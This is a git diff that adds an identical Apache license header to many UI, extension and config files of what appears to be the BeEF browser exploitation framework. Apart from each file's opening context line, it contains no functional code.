5036d4e0a..ef7dd75f8 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/Logout.js +++ b/extensions/admin_ui/media/javascript/ui/panel/Logout.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// DoLogout = function() { var button = Ext.get('do-logout-menu'); diff --git a/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js b/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js index 2a9cf432b..c10680f9e 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js +++ b/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// MainPanel = function(){ this.preview = new Ext.Panel({ id: 'preview', diff --git a/extensions/admin_ui/media/javascript/ui/panel/PanelStatusBar.js b/extensions/admin_ui/media/javascript/ui/panel/PanelStatusBar.js index 95363cd73..b76929064 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/PanelStatusBar.js +++ b/extensions/admin_ui/media/javascript/ui/panel/PanelStatusBar.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /* * The Beef_StatusBar class provides the functionality of the status bar * at the bottom of each tab in the UI diff --git a/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js b/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js index 742ec1c06..0668f3505 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js +++ b/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// PanelViewer = {}; var mainPanel, zombiesTreeLists, zombieTabs, zombiesManager; diff --git a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js index cee9c00a9..61bed943f 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js +++ b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// WelcomeTab = function() { welcome = " \ diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js b/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js index 0869de9e3..7a7bce21a 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ZombieTab = function(zombie) { main_tab = new ZombieTab_DetailsTab(zombie); diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombieTabs.js b/extensions/admin_ui/media/javascript/ui/panel/ZombieTabs.js index aa477e012..03efdff44 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombieTabs.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombieTabs.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ZombieTabs = function(zombie_tree_list) { //a variable to store the list of trees. diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js index 9fd870c6c..3cca2e4cb 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// var ZombiesMgr = function(zombies_tree_lists) { //save the list of trees in the object diff --git a/extensions/admin_ui/media/javascript/ui/panel/common.js b/extensions/admin_ui/media/javascript/ui/panel/common.js index 21241d1e9..40f71804c 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/common.js +++ b/extensions/admin_ui/media/javascript/ui/panel/common.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// var zombie_execute_button_text = 'Execute' var zombie_reexecute_button_text = 'Re-execute' var re_execute_command_title = 'Re-execute command' diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js index 7f4765068..ba7c0559a 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /* * The command tab panel. Listing the list of commands sent to the zombie. * Loaded in /ui/panel/index.html diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js index 7567aba32..47fdde6c4 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /* * The main Tab panel for the selected zombie. */ diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js index 664572543..72406f80c 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /* * The log Tab panel for the selected zombie. */ diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRequester.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRequester.js index 259355b51..c2c317e91 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRequester.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRequester.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /* * The request Tab panel for the selected zombie. * Loaded in /ui/panel/index.html diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js index f96ec8fa0..502b6066c 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js +++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /* * The zombie panel located on the left hand side of the interface. */ diff --git a/extensions/admin_ui/media/javascript/ux/PagingStore.js b/extensions/admin_ui/media/javascript/ux/PagingStore.js index c08ca2b80..f4f0dd797 100644 --- a/extensions/admin_ui/media/javascript/ux/PagingStore.js +++ b/extensions/admin_ui/media/javascript/ux/PagingStore.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /* * PagingStore for Ext 3.2 - v0.5 */ diff --git a/extensions/admin_ui/media/javascript/ux/StatusBar.js b/extensions/admin_ui/media/javascript/ux/StatusBar.js index 3b06bad4b..0e02abe63 100644 --- a/extensions/admin_ui/media/javascript/ux/StatusBar.js +++ b/extensions/admin_ui/media/javascript/ux/StatusBar.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * Ext JS Library 3.1.1 * Copyright(c) 2006-2010 Ext JS, LLC diff --git a/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js b/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js index 559f2c9c6..1579453f9 100644 --- a/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js +++ b/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * Ext JS Library 3.1.1 * Copyright(c) 2006-2010 Ext JS, LLC diff --git a/extensions/autoloader/config.yaml b/extensions/autoloader/config.yaml index ad2069bba..141683380 100644 --- a/extensions/autoloader/config.yaml +++ b/extensions/autoloader/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: extension: autoloader: diff --git a/extensions/autoloader/extension.rb b/extensions/autoloader/extension.rb index 741988dc2..2f05e8c45 100644 --- a/extensions/autoloader/extension.rb +++ b/extensions/autoloader/extension.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Autoloader diff --git a/extensions/autoloader/model.rb b/extensions/autoloader/model.rb index 156d67dcf..1d43f6de2 100644 --- a/extensions/autoloader/model.rb +++ b/extensions/autoloader/model.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/extensions/console/banners.rb b/extensions/console/banners.rb index abbc439f0..95bb18715 100644 --- a/extensions/console/banners.rb +++ b/extensions/console/banners.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Console diff --git a/extensions/console/commandline.rb b/extensions/console/commandline.rb index 6353e6df6..78dbb5655 100644 --- a/extensions/console/commandline.rb +++ b/extensions/console/commandline.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Console diff --git a/extensions/console/config.yaml b/extensions/console/config.yaml index a713bc359..1cf8c03a0 100644 --- a/extensions/console/config.yaml +++ b/extensions/console/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: extension: console: diff --git a/extensions/console/extension.rb b/extensions/console/extension.rb index d0d9eab60..0f0b390e1 100644 --- a/extensions/console/extension.rb +++ b/extensions/console/extension.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Console diff --git a/extensions/demos/api.rb b/extensions/demos/api.rb index 25e5e0538..9e93c28c1 100644 --- a/extensions/demos/api.rb +++ b/extensions/demos/api.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Demos diff --git a/extensions/demos/config.yaml b/extensions/demos/config.yaml index 0aa21d809..0d619a5bf 100644 --- a/extensions/demos/config.yaml +++ b/extensions/demos/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: extension: demos: diff --git a/extensions/demos/extension.rb b/extensions/demos/extension.rb index d2f5d63cd..10f62649f 100644 --- a/extensions/demos/extension.rb +++ b/extensions/demos/extension.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Demos diff --git a/extensions/demos/html/butcher/butch.css b/extensions/demos/html/butcher/butch.css index b113f2e5e..34d9d4bbb 100644 --- a/extensions/demos/html/butcher/butch.css +++ b/extensions/demos/html/butcher/butch.css @@ -1,3 +1,18 @@ +/* + * Copyright 2011 Wade Alcorn wade@bindshell.net + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ html { height: 100%; } diff --git a/extensions/demos/html/butcher/jquery-1.5.min.js b/extensions/demos/html/butcher/jquery-1.5.min.js index 9144b8ae9..4f6c3ad5d 100644 --- a/extensions/demos/html/butcher/jquery-1.5.min.js +++ b/extensions/demos/html/butcher/jquery-1.5.min.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /*! * jQuery JavaScript Library v1.5 * http://jquery.com/ diff --git a/extensions/events/api.rb b/extensions/events/api.rb index a4420bf53..0589d2f14 100644 --- a/extensions/events/api.rb +++ b/extensions/events/api.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Events diff --git a/extensions/events/config.yaml b/extensions/events/config.yaml index 8af065277..7ccf428c5 100644 --- a/extensions/events/config.yaml +++ b/extensions/events/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: extension: events: diff --git a/extensions/events/extension.rb b/extensions/events/extension.rb index 0bd6daf99..624699cb3 100644 --- a/extensions/events/extension.rb +++ b/extensions/events/extension.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Events diff --git a/extensions/events/handler.rb b/extensions/events/handler.rb index 68f4824e3..742a53c47 100644 --- a/extensions/events/handler.rb +++ b/extensions/events/handler.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Events diff --git a/extensions/initialization/api.rb b/extensions/initialization/api.rb index a571609dd..6b6a4e1f5 100644 --- a/extensions/initialization/api.rb +++ b/extensions/initialization/api.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Initialization diff --git a/extensions/initialization/config.yaml b/extensions/initialization/config.yaml index 997ba2269..0c5fee8ab 100644 --- a/extensions/initialization/config.yaml +++ b/extensions/initialization/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: extension: initialization: diff --git a/extensions/initialization/extension.rb b/extensions/initialization/extension.rb index a253ac0f0..c9f1b2731 100644 --- a/extensions/initialization/extension.rb +++ b/extensions/initialization/extension.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Initialization diff --git a/extensions/initialization/handler.rb b/extensions/initialization/handler.rb index a57ae9519..f8d193cd7 100644 --- a/extensions/initialization/handler.rb +++ b/extensions/initialization/handler.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Initialization diff --git a/extensions/initialization/models/browserdetails.rb b/extensions/initialization/models/browserdetails.rb index 30b8d09d3..24d5a8aa9 100644 --- a/extensions/initialization/models/browserdetails.rb +++ b/extensions/initialization/models/browserdetails.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Initialization diff --git a/extensions/metasploit/config.yaml b/extensions/metasploit/config.yaml index 67518feb3..58b26806a 100644 --- a/extensions/metasploit/config.yaml +++ b/extensions/metasploit/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# # Enable 